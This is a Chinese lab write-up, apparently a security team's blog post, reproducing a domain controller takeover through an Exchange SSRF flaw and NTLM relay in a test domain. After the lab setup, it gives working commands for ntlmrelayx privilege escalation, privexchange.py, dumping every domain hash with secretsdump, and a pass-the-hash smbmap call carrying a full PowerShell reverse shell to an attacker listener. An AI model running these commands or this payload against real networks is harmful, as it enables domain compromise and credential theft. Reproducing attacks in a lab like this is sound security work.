利用 Exchange SSRF 漏洞和 NTLM 中继沦陷域控

知道创宇博客
知道创宇博客
创建于2022-1-29 阅读
0
来源:作者

作者:xax007@知道创宇404 ScanV安全服务团队
作者博客:https://xax007.github.io/

漏洞简述

在群里看到一篇分享的利用 Exchange SSRF 漏洞获取域控 的文章(中文翻译),让我眼前一亮,后来又在微博看到有大佬复现了这个漏洞,于是我也决定试试。

上文中的漏洞利用思路按照我的理解可以汇总成一句话就是:

在Exchange 在域内具有高权限的前提下条件下,利用 Exchange 的跨站请求伪造漏洞进行 NTLM 中继攻击,修改域 ACL 使普通用户具有域管理员同等级别的权限

这篇文章的利用手法和其他网上很多方法不同的点在于,对 SSRF 漏洞进一步利用达到了拿到域控的目的,其他文章里都仅仅是利用SSRF 漏洞查看管理的邮件或者修改管理员邮箱规则,如邮件自动转发等。

不想拿到域控的黑阔不是一个好黑阔,利用多个普通漏洞,最大化利用漏洞拿到域控的骚姿势肯定要学一下的,于是有了这篇文章。

此文记录了我对这个漏洞进行的所有工作和遇到的坑。

漏洞环境搭建

复现这个漏洞最费时间又麻烦的就是搭建环境,我在 MacOS上 使用 Vmware Fusion 搭建了此漏洞需要的域环境

VMware Fusion 会在系统安装两个虚拟网卡,分别为 vmnet1 和 vmnet8

vmnet8 为 NAT网卡,可以让虚拟机上网 vmnet1 为 HostOnly 仅主机网卡,用来搭建私有网络,我们需要对此网卡作出修改

如果在Windows系统搭建环境时,也应该设置所有虚拟主机为 HostOnly 模式,方法大同小异

配置 Vmware Fusion

修改 /Library/Preferences/VMware\ Fusion/networking 文件

关闭 vmnet1的 dhcp,否则虚拟主机之间无法通信

1
2
3
4
5
6
VERSION=1,0
answer VNET_1_DHCP no    #关闭dhcp
answer VNET_1_DHCP_CFG_HASH 9503E18413CDE50A84F0D124C42535C62DF8193B
answer VNET_1_HOSTONLY_NETMASK 255.255.255.0 # HostOnly 网络子网掩码
answer VNET_1_HOSTONLY_SUBNET 10.10.10.0     # HostOnly网络地址
answer VNET_1_VIRTUAL_ADAPTER yes

可参考:MAC下VMware Fusion虚拟机配置网卡

搭建域环境

从这里可以下载到能免费试用180天的正版 Windows Server 2012 系统

我安装了一台 Windows Server 2012,装好以后克隆了一台,给虚拟分配多少硬件资源取决于自身电脑配置,这里我电脑的配置

因为是克隆的系统,两台的SID是一样的,会加入不了域, 所以克隆的这台要修改 SID

修改 SID 的方法是,在克隆的那个系统里进入 c:\windows\system32\sysprep\ 执行

1
sysprep /generalize

按照提示操作,重启就修改好了。

最终各种查资料、看不懂、迷惘、折腾后搭好了可用的域环境。

域环境的搭建主要参考了几位大佬的以下几篇文章

- 搭建渗透测试活动目录教程1

- 搭建渗透测试活动目录教程2

  • 搭建小型域环境

当然还有 l3mOn 大佬的:

Microsoft Exchange漏洞记录(撸向域控) - CVE-2018-8581

同步域内系统时间

搭建小型域环境里大佬说同步时间很重要,我发现我两个系统的时间都不一样,所以在域控所在的服务器配置系统时间:

打开 powershell 并执行

1
w32tm /config /manualpeerlist:"cn.pool.ntp.org tw.pool.ntp.org" /syncfromflags:manual /reliable:yes /update

其中

/manualpeerlist 表示外部时间源服务器列表,多个服务器之间可用空格分隔,cn.pool.ntp.org 和 tw.pool.ntp.org是 NTP 时间服务器

/syncfromflags:manual 表示与指定的外部时间源服务器列表中的服务器进行同步

/reliable:yes 表示设置此计算机是一个可靠的时间源

/update 表示向时间服务发出配置已更改的通知,使更改生效

1
2
3
4
5
6
7
8
9
10
11
net stop w32time         关闭w32time服务
 
net start w32time         启动w32time服务
 
w32tm /resync             手动与外部时间源服务器进行同步
 
w32tm /query /status   同步时间服务器状态
 
w32tm /query /source  查询时间同步源
 
w32tm /query /peers    查询时间同步服务器及相关信息

以上步骤参考了以下的文章

Windows server 2012 部署NTP,实现成员服务器及客户端时间与域控制器时间同步

我按照教程在域控所在的服务器执行到第三步,另一台服务器的时间自己就同步了

最终搭好了可用的域环境:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
域名称:evilcorp.local
域控:
  操作系统:Windows Server 2012 R2
  IP: 10.10.10.2
  子网掩码: 255.255.255.0
  网关: 10.10.10.1
  DNS: 10.10.10.2
Exchange 服务器:
  操作系统: Windows Server 2012 R2
  IP: 10.10.10.3
  子网掩码: 255.255.255.0
  网关: 10.10.10.1
  DNS: 10.10.10.2
攻击主机:
  操作系统: Kali
  IP: 10.10.10.5

按照以上三个教程的步骤走,看不明白继续搜教程就可以搭好域环境

攻击主机 Kali Linux 为了能访问域网络需要添加一个 HostOnly 网卡,我添加后的网卡名为 eth1

然后进行以下配置

1
2
3
4
5
6
7
8
╭─root@kali ~  
╰─?  ifconfig eth1 up
╭─root@kali ~  
╰─?  ifconfig eth1 10.10.10.5 netmask 255.255.255.0
╭─root@kali ~  
╰─?  route add default gw 10.10.10.1 eth1
╭─root@kali ~  
╰─?  

安装 Exchange Server 2013

首先需要在 Exchange 所在的服务器上使用域控 Administrator 账号登录,不然安装检查是会出现一大堆错误

安装 Exchange 前要装依赖组件,可以参考上面 l3m0n 大佬的文章和 Windows Server 2012 安装 Exchange 2013 这两篇文章

安装好 Exchange 以后访问 Exchange 页面,在我的环境里的地址是 https://10.10.10.3 ,需要添加一个普通域用户,然后用域控管理员账号登录 Exchange 为此用户分配 Exchange 账号,这一步网上有很多教程

后续要用此普通用户来提权

所有的环境搭建好以后要进入激动人心的漏洞利用环节了!!!

漏洞利用

准备工具

漏洞利用需要下载两个工具:

  • PrivExchange
  • Impacket

第二个 Impacket 是一个功能很强大的 Windows 网络(SMB, MSRPC)工具包

Kali 自带 Impacket,是版本过时了,需要安装最新的

git clone 下载下来后,进入到 Impacket 目录使用 pip 安装

1
pip install .

注意这个工具是 python2 写的,使用 python3会出错

发起攻击

首先在本机启动 NTLM 中继,进入到 Impacker 的 examples 目录执行

1
python ntlmrelayx.py -t ldap://evilcorp.local --escalate-user mr.robot

其中

evilcorp.local 是域的名称

--escalate-user 的参数是 Exchange 的普通权限用户名,也就是之前添加的普通用户用户名

然后执行提权脚本

1
python privexchange.py -ah 10.10.10.1 10.10.10.3 -u mr.robot -p "Hacktheplanet\!" -d evilcorp.local

其中

-ah 参数指定域控地址可以是域的名称或 IP 地址,在这里为 10.10.10.1 10.10.10.3 为 Exchange 服务器在域的名称或者IP地址 -u 指定需要提权的 Exchange 的普通权限用户名 -p指定 Exchange 的普通权限用户的密码 -d 指定域的名称

如果攻击成功你会看到 privexchange.py 脚本的输出

至此在 evicorp.local 域内, Mr.robot 用户具有了高权限,下一步我们导出域内所有用户的哈希

导出域内用户哈希

进入 Impacket\examples 目录执行

1
python secretsdump.py EVILCORP.LOCAL/mr\.robot@evilcorp.local -just-dc

就导出了域内所有用户哈希

在截图中由于 Kali 的 Openssl 版本太新有 bug,没办法连接上 Exchange 服务器使用自签名证书的HTTPS服务,在本机的 MacOS 上测试的

我再一次得到一个教训

平时没事别瞎更新整个系统,要更新也只更新需要的部分

利用用户哈希反弹 shell

哈希都拿到了,尝试反弹shell,使用 Windows 帐户哈希反弹 shell 的工具很多,我使用 smbmap

smbmap 已内置在Kali Linux

nc 监听端口

1
nc -lvnp 1337

反弹 shell

1
<span class="nt">smbmap</span> <span class="nt">-d</span> <span class="nt">evilcorp</span><span class="p">.</span><span class="nc">local</span> <span class="nt">-u</span> <span class="nt">Administrator</span> <span class="nt">-p</span> <span class="s1">'aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889'</span> <span class="nt">-H</span> <span class="nt">10</span><span class="p">.</span><span class="nc">10</span><span class="p">.</span><span class="nc">10</span><span class="p">.</span><span class="nc">2</span> <span class="nt">-x</span> <span class="s1">'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""10.10.10.5""""; $port=""""1337"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte</span><span class="cp">[]</span><span class="s1"> $c.ReceiveBufferSize  ;$p=New-Object System.Diagnostics.Process  ;$p.StartInfo.FileName=""""cmd.exe""""  ;$p.StartInfo.RedirectStandardInput=1  ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0  ;$p.Start()  ;$is=$p.StandardInput  ;$os=$p.StandardOutput  ;Start-Sleep 1  ;$e=new-object System.Text.AsciiEncoding  ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length)  ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb</span><span class="cp">[</span><span class="mi">0</span><span class="nx">..</span><span class="err">$</span><span class="p">(</span><span class="nv">$pos</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="cp">]</span><span class="s1"> -contains 10)) {break}}  if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else {  $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}}  $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"'</span>

代码中的 10.10.10.5 修改为攻击者IP,1337 修改为NC监听端口


本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/833/